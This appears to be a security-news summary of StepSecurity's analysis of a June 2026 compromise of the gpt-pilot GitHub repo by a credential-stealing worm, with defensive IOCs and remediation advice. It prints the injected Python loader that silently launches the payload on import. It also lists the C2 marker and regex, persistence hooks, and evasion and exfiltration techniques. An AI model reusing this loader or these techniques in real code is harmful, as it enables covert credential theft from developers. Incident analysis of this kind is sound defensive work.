
Pythagora-io/gpt-pilot Compromised on GitHub - Shai-Hulud Credential Stealer Blocked by Python Linter
StepSecurity documents a June 2026 compromise of the Pythagora-io/gpt-pilot GitHub repo (33.7k stars), where an attacker took over a co-founder's account and force-pushed a Shai-Hulud-variant credential stealer disguised as a "Revert" commit. The malware, a 758KB obfuscated Bun/JavaScript payload delivered via a Python telemetry module, steals AWS/npm/GitHub/Kubernetes/Vault/SSH credentials, uses GitHub commit messages as a covert C2 channel, exfiltrates via newly created GitHub repos, can abuse Sigstore/Fulcio to forge SLSA Build Level 3 attestations, and plants persistence hooks in Claude Code and VS Code. Notably, the attacker's injected code was blocked twice by the project's ruff CI linter/formatter before they gave up, illustrating code-quality tooling as an accidental security control, alongside full IOCs and lessons on branch protection and force-push monitoring.
What it is
The StepSecurity writeup of the June 8, 2026 compromise of Pythagora-io/gpt-pilot, with the concrete forensic artifacts and IOCs the summary omits. The malicious commit was titled "Revert 'Implemented weekend discount'", backdated to 2025-08-24 20:37:44 to look months old in casual history review. The compromised maintainer account was LeonOstrez (a co-founder). Files were injected into core/telemetry/.
How it works
Activation is via Python import side-effect, injected at line 399 of core/telemetry/__init__.py:
import threading as _th
def _setup_reporting():
try:
from core.telemetry._hooks import run
run()
except Exception:
pass
_th.Thread(target=_setup_reporting, daemon=True).start()_hooks.py then loads the cross-platform (Linux x64/ARM/musl, macOS x64/ARM, Windows x64/ARM) _runtime.bin — a 758KB single-line Bun/JS stealer using a .loader.lock file to avoid duplicate runs and piping output to /dev/null. C2 is steganographic: the malware searches the GitHub commits API for a marker and eval()s base64 commands from matching messages:
GET https://api.github.com/search/commits?q=thebeautifulsnadsoftime
thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})Exfil creates new GitHub repos (issues/wiki/discussions disabled) with commit author spoofed to claude@users.noreply.github.com; DNS-resolved AES-256-GCM HTTP is the fallback. It exits cleanly if the system locale includes ru.
What to do
- Grep for the C2 marker
thebeautifulsnadsoftimein commit searches and logs — it is the strongest single IOC. - Search for the injection: a threading
_setup_reportingblock near line 399 of any__init__.py, and files_hooks.py/_runtime.binundercore/telemetry/or elsewhere. - Check for persistence planted in
.claude/settings.json(SessionStarthook) and.vscode/tasks.json(runOn: folderOpen). - Confirm branch protection exists — the repo had none; a
404from this API call means the main branch is force-pushable:
/repos/<org>/<repo>/branches/main/protection- Rotate any AWS, npm, GitHub, Kubernetes, Vault, and SSH credentials exposed on machines that ran gpt-pilot; audit for unexpected new GitHub repos authored by
claude@users.noreply.github.com.
Caveats
The attack on this repo was blocked by CI (ruff rejected the malformed injected Python across two attempts), so gpt-pilot's published code may not have shipped the payload — but the same Shai-Hulud family has successfully infected projects at Microsoft, Red Hat, and Mistral AI this year, where the above IOCs still apply. The ru-locale exemption means detonation is suppressed on some systems, so absence of malicious behavior does not prove absence of the files.
Organisations named here
- gpt-pilot
- LeonOstrez
- Shai-Hulud
- thebeautifulsnadsoftime
- UNC6780
Technologies named here
- Pythagora-io/gpt-pilot
- ruff
- Microsoft durabletask
- Bun
- Sigstore
- Red Hat cloud-services
- axios
- StepSecurity Harden-Runner
- PyTorch Lightning
- GitHub CloudTrail
- Microsoft Azure repositories
- Mistral AI projects
- npm
- GitHub Actions
- Claude Code
Techniques named here
- Account compromise and force-push to main
- Backdated/spoofed commit metadata
- Malicious module import / silent activation
- Multi-stage obfuscated JavaScript payload
- Steganographic C2 via GitHub commit messages
- Credential theft
- Exfiltration via newly created GitHub repositories
- Secondary exfiltration via encrypted DNS C2
- Persistence via developer tool hooks
- Anti-analysis
- Token monitoring
- Sigstore/Fulcio abuse for malicious package signing
- Social engineering via file naming
- Suppression of disclosure via issue deletion
Threat actors named here
- Shai-Hulud
- TeamPCP/UNC6780
- Miasma worm
- TeamPCP
Related in Supply Chain


